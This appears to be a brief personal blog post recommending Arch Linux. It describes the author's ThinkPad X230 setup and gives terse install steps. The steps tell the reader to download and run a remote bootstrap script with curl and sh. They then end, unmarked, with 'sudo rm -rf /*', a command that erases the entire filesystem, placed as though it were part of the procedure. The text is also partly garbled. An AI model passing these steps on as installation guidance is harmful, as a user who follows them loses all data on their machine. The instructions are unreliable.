The OS for daily usage? The OS for hacking? The OS for AI? Yep it is Linux, namely Arch for me. Here you can see the easiest way to install it on encrypted hard drive. This is what I use: Thinkpad x230 - Intel ME disabled, IPS screen, i7, 16gb Ram, heads. ... You can find base ISO from HERE the base will be enough. Installation tutorial cannot be simpler: HERE And then login an simply write: curl -LO larbs.xyz/larbs.sh sh larbs.sh REF $sudo rm -rf /*